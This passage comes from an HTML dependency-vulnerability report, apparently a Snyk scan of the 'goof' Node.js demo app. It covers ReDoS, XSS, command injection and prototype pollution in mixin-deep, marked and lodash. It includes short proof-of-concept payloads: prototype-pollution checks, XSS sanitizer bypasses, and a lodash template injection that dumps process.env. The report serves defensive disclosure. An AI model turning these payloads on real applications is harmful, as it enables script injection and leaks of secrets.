  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + mixin-deep@1.3.1 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + mixin-deep@1.3.1 + + + +
  • +
+ +
+ +
+ +

Overview

+

mixin-deep is a package that deeply mixes the properties of objects into the first object.

+

Affected versions of this package are vulnerable to Prototype Pollution. The function mixin-deep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.

+

PoC by Snyk

+
const mixin = require('mixin-deep');
+        const payload = '{"constructor": {"prototype": {"a0": true}}}'
+        
+        function check() {
+            mixin({}, JSON.parse(payload));
+            if (({})[`a0`] === true) {
+                  console.log(`Vulnerable to Prototype Pollution via ${payload}`)
+          }
+        }
+        
+        check();
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade mixin-deep to version 2.0.1, 1.3.2 or higher.

+

References

+ + +
+ + + +
+
+

Cross-site Scripting (XSS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). An attacker could bypass its output sanitization (sanitize: true) protection. Using the HTML Coded Character Set, attackers can inject javascript: code snippets into the output. For example, the following input javascript&#x58document;alert&#40;1&#41; will result in alert(1) being executed when the user clicks on the link.

+

Details

+

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

+

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

+

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

+

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

+

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

+

Types of attacks

+

There are a few methods by which XSS can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginDescription
StoredServerThe malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
ReflectedServerThe attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-basedClientThe attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
MutatedThe attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.
+

Affected environments

+

The following environments are susceptible to an XSS attack:

+
    +
  • Web servers
  • +
  • Application servers
  • +
  • Web application environments
  • +
+

How to prevent

+

This section describes the top best practices designed to specifically protect your code:

+
    +
  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • +
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • +
  • Give users the option to disable client-side scripts.
  • +
  • Redirect invalid requests.
  • +
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • +
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • +
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
  • +
+

Remediation

+

Upgrade marked to version 0.3.6 or higher.

+

References

+ + +
+ + + +
+
+

Cross-site Scripting (XSS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Data URIs enable embedding small files in line in HTML documents, provided in the URL itself. + Attackers can craft malicious web pages containing either HTML or script code that utilizes the data URI scheme, allowing them to bypass access controls or steal sensitive information.

+

An example of data URI used to deliver javascript code. The data holds <script>alert('XSS')</script> tag in base64 encoded format.

+
[xss link](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
+        
+

Details

+

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

+

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

+

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

+

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

+

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

+

Types of attacks

+

There are a few methods by which XSS can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginDescription
StoredServerThe malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
ReflectedServerThe attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-basedClientThe attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
MutatedThe attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.
+

Affected environments

+

The following environments are susceptible to an XSS attack:

+
    +
  • Web servers
  • +
  • Application servers
  • +
  • Web application environments
  • +
+

How to prevent

+

This section describes the top best practices designed to specifically protect your code:

+
    +
  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • +
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • +
  • Give users the option to disable client-side scripts.
  • +
  • Redirect invalid requests.
  • +
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • +
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • +
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
  • +
+

Remediation

+

Upgrade marked to version 0.3.7 or higher.

+

References

+ + +
+ + + +
+
+

Cross-site Scripting (XSS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Browsers support both lowercase and uppercase x in hexadecimal form of HTML character entity, but marked unescaped only lowercase.

+

This may allow an attacker to create a link with javascript code.

+

For example:

+
var marked = require('marked');
+        marked.setOptions({
+          renderer: new marked.Renderer(),
+          sanitize: true
+        });
+        
+        text = `
+        lower[click me](javascript&#x3a;...)lower
+        upper[click me](javascript&#X3a;...)upper
+        `;
+        
+        console.log(marked(text));
+        
+

will render the following:

+
<p>lowerlower
+        upper<a href="javascript&#X3a;...">click me</a>upper</p>
+        
+

Details

+

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

+

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

+

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

+

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

+

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

+

Types of attacks

+

There are a few methods by which XSS can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginDescription
StoredServerThe malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
ReflectedServerThe attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-basedClientThe attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
MutatedThe attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.
+

Affected environments

+

The following environments are susceptible to an XSS attack:

+
    +
  • Web servers
  • +
  • Application servers
  • +
  • Web application environments
  • +
+

How to prevent

+

This section describes the top best practices designed to specifically protect your code:

+
    +
  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • +
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • +
  • Give users the option to disable client-side scripts.
  • +
  • Redirect invalid requests.
  • +
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • +
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • +
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
  • +
+

Remediation

+

Upgrade marked to version 0.3.9 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) + when parsing the input markdown content (1,000 characters costs around 6 seconds matching time).

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade marked to version 0.3.9 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 150 characters long.

+

Disclosure Timeline

+
    +
  • Feb 21th, 2018 - Initial Disclosure to package owner
  • +
  • Feb 21th, 2018 - Initial Response from package owner
  • +
  • Feb 26th, 2018 - Fix issued
  • +
  • Feb 27th, 2018 - Vulnerability published
  • +
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade marked to version 0.3.18 or higher.

+

References

+ + +
+ + + +
+
+

Command Injection

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + lodash +
  • + +
  • Introduced through: + + goof@1.0.1 and lodash@4.17.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + lodash@4.17.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
+ +
+ +
+ +

Overview

+

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

+

Affected versions of this package are vulnerable to Command Injection via template.

+

PoC

+
var _ = require('lodash');
+        
+        _.template('', { variable: '){console.log(process.env)}; with(obj' })()
+        
+

Remediation

+

Upgrade lodash to version 4.17.21 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + lodash +
  • + +
  • Introduced through: + + goof@1.0.1 and lodash@4.17.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + lodash@4.17.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
+ +
+ +
+ +

Overview

+

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

+

Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.

+

PoC by Snyk

+
const mergeFn = require('lodash').defaultsDeep;
+        const payload = '{"constructor": {"prototype": {"a0": true}}}'
+        
+        function check() {
+            mergeFn({}, JSON.parse(payload));
+            if (({})[`a0`] === true) {
+                console.log(`Vulnerable to Prototype Pollution via ${payload}`);
+            }
+          }
+        
+        check();
+        
+

For more information, check out our blog post

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade lodash to version 4.17.12 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
